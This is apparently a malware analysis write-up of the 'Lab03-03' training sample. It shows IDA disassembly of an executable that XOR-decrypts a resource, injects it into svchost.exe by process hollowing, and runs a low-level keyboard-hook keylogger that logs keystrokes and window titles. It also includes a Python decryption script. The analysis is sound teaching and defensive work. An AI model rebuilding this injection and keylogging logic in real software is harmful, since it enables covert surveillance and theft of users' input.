0x08_Lab03-03
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab03-03.exe | 53 KB | e2bf42217a67e46433da8b6f4507219e |
TL;DR: An executable embedding a keylogger in its resource section. The keylogger is injected into a newly created instance of svchost.exe using process hollowing, and keystrokes are saved in a file named practicalmalwareanalysis.log.
Tools: IDA Free 7.0, Resource Hacker
IDB: Lab03-03.i64, Keylogger
Loading and decrypting the resource
Function 0x40132C uses the APIs FindResource, LoadResource, LockResource and SizeOfResource to retrieve a pointer on a resource named “LOCALIZATION” and its size. Using a resource editor we can dump this resource to disk. The resource is then copied to a newly allocated heap buffer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:004013D0 push PAGE_READWRITE ; flProtect
.text:004013D2 push 1000h ; flAllocationType
.text:004013D7 mov eax, [ebp+dwSize] ; size of resource
.text:004013DA push eax ; dwSize
.text:004013DB push 0 ; lpAddress
.text:004013DD call ds:VirtualAlloc
.text:004013E3 mov [ebp+heap], eax
[...]
.text:004013EE mov ecx, [ebp+dwSize]
.text:004013F1 push ecx ; size_t
.text:004013F2 mov edx, [ebp+ptrLoadedResource]
.text:004013F5 push edx ; void *
.text:004013F6 mov eax, [ebp+heap]
.text:004013F9 push eax ; void *
.text:004013FA call _memcpy
If the resource starts with MZ the function returns a pointer to it:
1
2
3
4
5
6
7
8
9
10
.text:00401402 mov ecx, [ebp+heap]
.text:00401405 xor edx, edx
.text:00401407 mov dl, [ecx]
.text:00401409 cmp edx, 'M'
.text:0040140C jnz short decrypt
.text:0040140E mov eax, [ebp+heap]
.text:00401411 xor ecx, ecx
.text:00401413 mov cl, [eax+1]
.text:00401416 cmp ecx, 'Z'
.text:00401419 jz short quit
Else, a decryption function is called:
1
2
3
4
5
6
7
.text:0040141B decrypt:
.text:0040141B push 41h ; xor key
.text:0040141D mov edx, [ebp+dwSize]
.text:00401420 push edx
.text:00401421 mov eax, [ebp+heap]
.text:00401424 push eax
.text:00401425 call DecryptBuffer
The decryption function performs a xor 0x41 operation on all of the bytes in the encrypted resource. Here is a script to get the plaintext:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import argparse, os, sys
key = 0x41
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Lab03-03")
parser.add_argument("bin", type=str, help="Path of resource to decrypt")
args = parser.parse_args()
if os.path.exists(args.bin):
with open(args.bin, "rb") as f:
raw = f.read()
decrypted = bytearray(raw)
for i, b in enumerate(decrypted):
decrypted[i] ^= key
decrypted = bytes(decrypted)
name = f.name.rsplit("/")[1]
name += ".decrypted"
with open(name, "wb") as d:
d.write(decrypted)
else:
print("[-] File not found.")
sys.exit(0)
The decrypted resource is another PE file an will be injected in a new instance of svchost.
Process hollowing
Function 0x401544 does the injection using the process hollowing technique. It takes two parameters: a pointer to the decrypted payload and a pointer to a string containing the path of svchost.exe:
1
2
3
4
5
.text:00401539 mov edx, [ebp+decrypted_payload]
.text:0040153C push edx ; payload
.text:0040153D lea eax, [ebp+svchost_path]
.text:00401543 push eax ; %SYSTEM%\\svchost.exe
.text:00401544 call ProcessHollowing
The decrypted payload must have valid MZ and PE signatures, else the function exits (code not shown).
Process hollowing starts with the creation of a new process in a suspendend state:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00401145 lea edx, [ebp+ProcessInformation]
.text:00401148 push edx ; lpProcessInformation
.text:00401149 lea eax, [ebp+StartupInfo]
.text:0040114C push eax ; lpStartupInfo
.text:0040114D push 0 ; lpCurrentDirectory
.text:0040114F push 0 ; lpEnvironment
.text:00401151 push CREATE_SUSPENDED ; dwCreationFlags
.text:00401153 push 0 ; bInheritHandles
.text:00401155 push 0 ; lpThreadAttributes
.text:00401157 push 0 ; lpProcessAttributes
.text:00401159 push 0 ; lpCommandLine
.text:0040115B mov ecx, [ebp+svchost_path] %SYSTEM%\\svchost.exe
.text:0040115E push ecx ; lpApplicationName
.text:0040115F call ds:CreateProcessA
Then, the injector needs the imagebase of the newly created process. To find it, it reads the field ImageBaseAddress in the PEB of the target process. To locate the PEB of the target process, it accesses the context of its main thread with GetThreadContext:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; get ctx
.text:00401184 mov edx, [ebp+lpContext]
.text:00401187 mov [edx+CONTEXT.ContextFlags], CONTEXT_FULL
.text:0040118D mov eax, [ebp+lpContext]
.text:00401190 push eax ; lpContext
.text:00401191 mov ecx, [ebp+ProcessInformation.hThread]
.text:00401194 push ecx ; hThread
.text:00401195 call ds:GetThreadContext ; get context of main thread (suspended svchost)
; get PEB.ImageBaseAddress
.text:004011B8 push 0 ; lpNumberOfBytesRead
.text:004011BA push 4 ; nSize
.text:004011BC lea edx, [ebp+imagebase_svchost]
.text:004011BF push edx ; output
.text:004011C0 mov eax, [ebp+lpContext]
.text:004011C3 mov ecx, [eax+CONTEXT._Ebx] ; EBX->PEB
.text:004011C9 add ecx, 8 ; @[EBX+8] = image base of svchost
.text:004011CC push ecx ; lpBaseAddress
.text:004011CD mov edx, [ebp+ProcessInformation.hProcess]
.text:004011D0 push edx ; hProcess
.text:004011D1 call ds:ReadProcessMemory ; read 4 bytes @EBX+8
Now the injector knows where is the suspended svchost, it unmaps it. It’s like getting an empty shell:
1
2
3
4
5
.text:004011FE mov eax, [ebp+imagebase_svchost]
.text:00401201 push eax
.text:00401202 mov ecx, [ebp+ProcessInformation.hProcess]
.text:00401205 push ecx
.text:00401206 call [ebp+addr_NtUnmapViewOfSection]
Then a RWX buffer is allocated inside the process:
1
2
3
4
5
6
7
8
9
10
11
12
.text:00401209 push PAGE_EXECUTE_READWRITE ; flProtect
.text:0040120B push 3000h ; MEM_COMMIT | MEM_RESERVE
.text:00401210 mov edx, [ebp+IMAGE_NT_HEADER_payload]
.text:00401213 mov eax, [edx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfImage]
.text:00401216 push eax ; dwSize: size of payload
.text:00401217 mov ecx, [ebp+IMAGE_NT_HEADER_payload]
.text:0040121A mov edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.ImageBase]
.text:0040121D push edx ; lpAddress: payload imagebase
.text:0040121E mov eax, [ebp+ProcessInformation.hProcess]
.text:00401221 push eax ; hProcess
.text:00401222 call ds:VirtualAllocEx
.text:00401228 mov [ebp+destination], eax
The lpAddress parameter has been set so the RWX buffer base address and the payload base address have the same values. This avoid the pain of computing relocations.
It’s time to write the payload in this newly allocated buffer. First, the headers:
1
2
3
4
5
6
7
8
9
10
11
.text:0040123C push 0 ; lpNumberOfBytesWritten
.text:0040123E mov ecx, [ebp+IMAGE_NT_HEADER_payload]
.text:00401241 mov edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfHeaders]
.text:00401244 push edx ; nSize
.text:00401245 mov eax, [ebp+payload]
.text:00401248 push eax ; lpBuffer
.text:00401249 mov ecx, [ebp+destination]
.text:0040124C push ecx ; lpBaseAddress
.text:0040124D mov edx, [ebp+ProcessInformation.hProcess]
.text:00401250 push edx ; hProcess
.text:00401251 call ds:WriteProcessMemory
Once all sections have been written (code not shown), the field PEB.ImageBaseAddress is updated (because the old address has been unmapped):
1
2
3
4
5
6
7
8
9
10
11
12
.text:004012B9 push 0 ; lpNumberOfBytesWritten
.text:004012BB push 4 ; nSize
.text:004012BD mov edx, [ebp+IMAGE_NT_HEADER_payload]
.text:004012C0 add edx, IMAGE_NT_HEADERS32.OptionalHeader.ImageBase
.text:004012C3 push edx ; source
.text:004012C4 mov eax, [ebp+lpContext]
.text:004012C7 mov ecx, [eax+CONTEXT._Ebx]
.text:004012CD add ecx, 8
.text:004012D0 push ecx ; dest
.text:004012D1 mov edx, [ebp+ProcessInformation.hProcess]
.text:004012D4 push edx ; hProcess
.text:004012D5 call ds:WriteProcessMemory ; update the target PEB.imagebase
And the context of the new thread is also updated so the entrypoint value is valid:
1
2
3
4
5
6
7
8
9
10
.text:004012DB mov eax, [ebp+IMAGE_NT_HEADER_payload]
.text:004012DE mov ecx, [ebp+destination]
.text:004012E1 add ecx, [eax+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint]
.text:004012E4 mov edx, [ebp+lpContext]
.text:004012E7 mov [edx+CONTEXT._Eax], ecx ; update thread entrypoint
.text:004012ED mov eax, [ebp+lpContext]
.text:004012F0 push eax ; lpContext
.text:004012F1 mov ecx, [ebp+ProcessInformation.hThread]
.text:004012F4 push ecx ; hThread
.text:004012F5 call ds:SetThreadContext
The payload is now ready to be executed, and the main thread of the hijacked process is resumed:
1
2
3
.text:004012FB mov edx, [ebp+ProcessInformation.hThread]
.text:004012FE push edx ; hThread
.text:004012FF call ds:ResumeThread ; starts at payload entrypoint
Keylogger
Hooking keyboard events
The payload injected into svchost is a keylogger. it starts by registering a callback on all keyboard events:
1
2
3
4
5
.text:00401053 push eax ; hmod
.text:00401054 push offset fn ; lpfn
.text:00401059 push WH_KEYBOARD_LL ; idHook
.text:0040105B call ds:SetWindowsHookExA
.text:00401061 mov [ebp+hhk], eax
According the the MSDN, when the parameter idHook has the value WH_KEYBOARD_LL, the hook procedure installed is a LowLevelKeyboardProc callback:
1
2
3
4
5
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode, // if 0, wParam and lParam contain information about a keyboard message
_In_ WPARAM wParam, // identifier of the keyboard message
_In_ LPARAM lParam // KBDLLHOOKSTRUCT*
);
So, the callback triggered on keyboard events starts as follow:
1
2
3
4
5
6
7
8
9
10
11
12
.text:00401089 cmp [ebp+code], HC_ACTION ;
.text:0040108D jnz short skip ; skip if no info
.text:0040108F cmp [ebp+wParam], WM_SYSKEYDOWN
.text:00401096 jz short key_pressed
.text:00401098 cmp [ebp+wParam], WM_KEYDOWN
.text:0040109F jnz short pass_to_next_hook
.text:004010A1 key_pressed:
.text:004010A1 mov eax, [ebp+lParam] ; KBDLLHOOKSTRUCT *
.text:004010A4 mov ecx, [eax+KBDLLHOOKSTRUCT.vkCode]
.text:004010A6 push ecx ; Buffer
.text:004010A7 call LogInput ; 0x4010C7
.text:004010AC add esp, 4
If a key is pressed, the corresponding virtual key code is sent to function 0x4010C7.
Processing inputs
The file used to save keyboard inputs is named practicalmalwareanalysis.log:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; open
.text:004010D4 push 0 ; hTemplateFile
.text:004010D6 push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
.text:004010DB push OPEN_ALWAYS ; dwCreationDisposition
.text:004010DD push 0 ; lpSecurityAttributes
.text:004010DF push FILE_SHARE_WRITE ; dwShareMode
.text:004010E1 push GENERIC_WRITE ; dwDesiredAccess
.text:004010E6 push offset FileName ; "practicalmalwareanalysis.log"
.text:004010EB call ds:CreateFileA
.text:004010F1 mov [ebp+hFile], eax
[...]
.text:004010FF push FILE_END ; start to write from current end of file
.text:00401101 push 0 ; lpDistanceToMoveHigh
.text:00401103 push 0 ; lDistanceToMove
.text:00401105 mov eax, [ebp+hFile]
.text:00401108 push eax ; hFile
.text:00401109 call ds:SetFilePointer
The virtual key code received by the function is processed so that special keys are handled properly. For example, if the key “ctrl” is pressed, the string “[CTRL]” is explicitely written to the logfile:
1
2
3
4
5
6
7
8
.text:004012C5 push 0 ; jumptable 00401226 case 9
.text:004012C7 lea ecx, [ebp+NumberOfBytesWritten]
.text:004012CA push ecx ; lpNumberOfBytesWritten
.text:004012CB push 6 ; nNumberOfBytesToWrite
.text:004012CD push offset aCtrl ; "[CTRL]"
.text:004012D2 mov edx, [ebp+hFile]
.text:004012D5 push edx ; hFile
.text:004012D6 call ds:WriteFile
Finally, the title of the current window is checked at every new keyboard event:
1
2
3
4
5
6
7
8
9
10
11
.text:0040110F push 400h ; nMaxCount
.text:00401114 push offset current_window_title ; lpString
.text:00401119 call ds:GetForegroundWindow ; focus on current window
.text:0040111F push eax ; hWnd
.text:00401120 call ds:GetWindowTextA
.text:00401126 push offset current_window_title ; char *
.text:0040112B push offset previous_window_title ; char *
.text:00401130 call _strcmp
.text:00401135 add esp, 8
.text:00401138 test eax, eax
.text:0040113A jz short same_window
If the window title didn’t change between two inputs the pressed key is logged. Else, the new title is logged before logging the pressed key.
EOF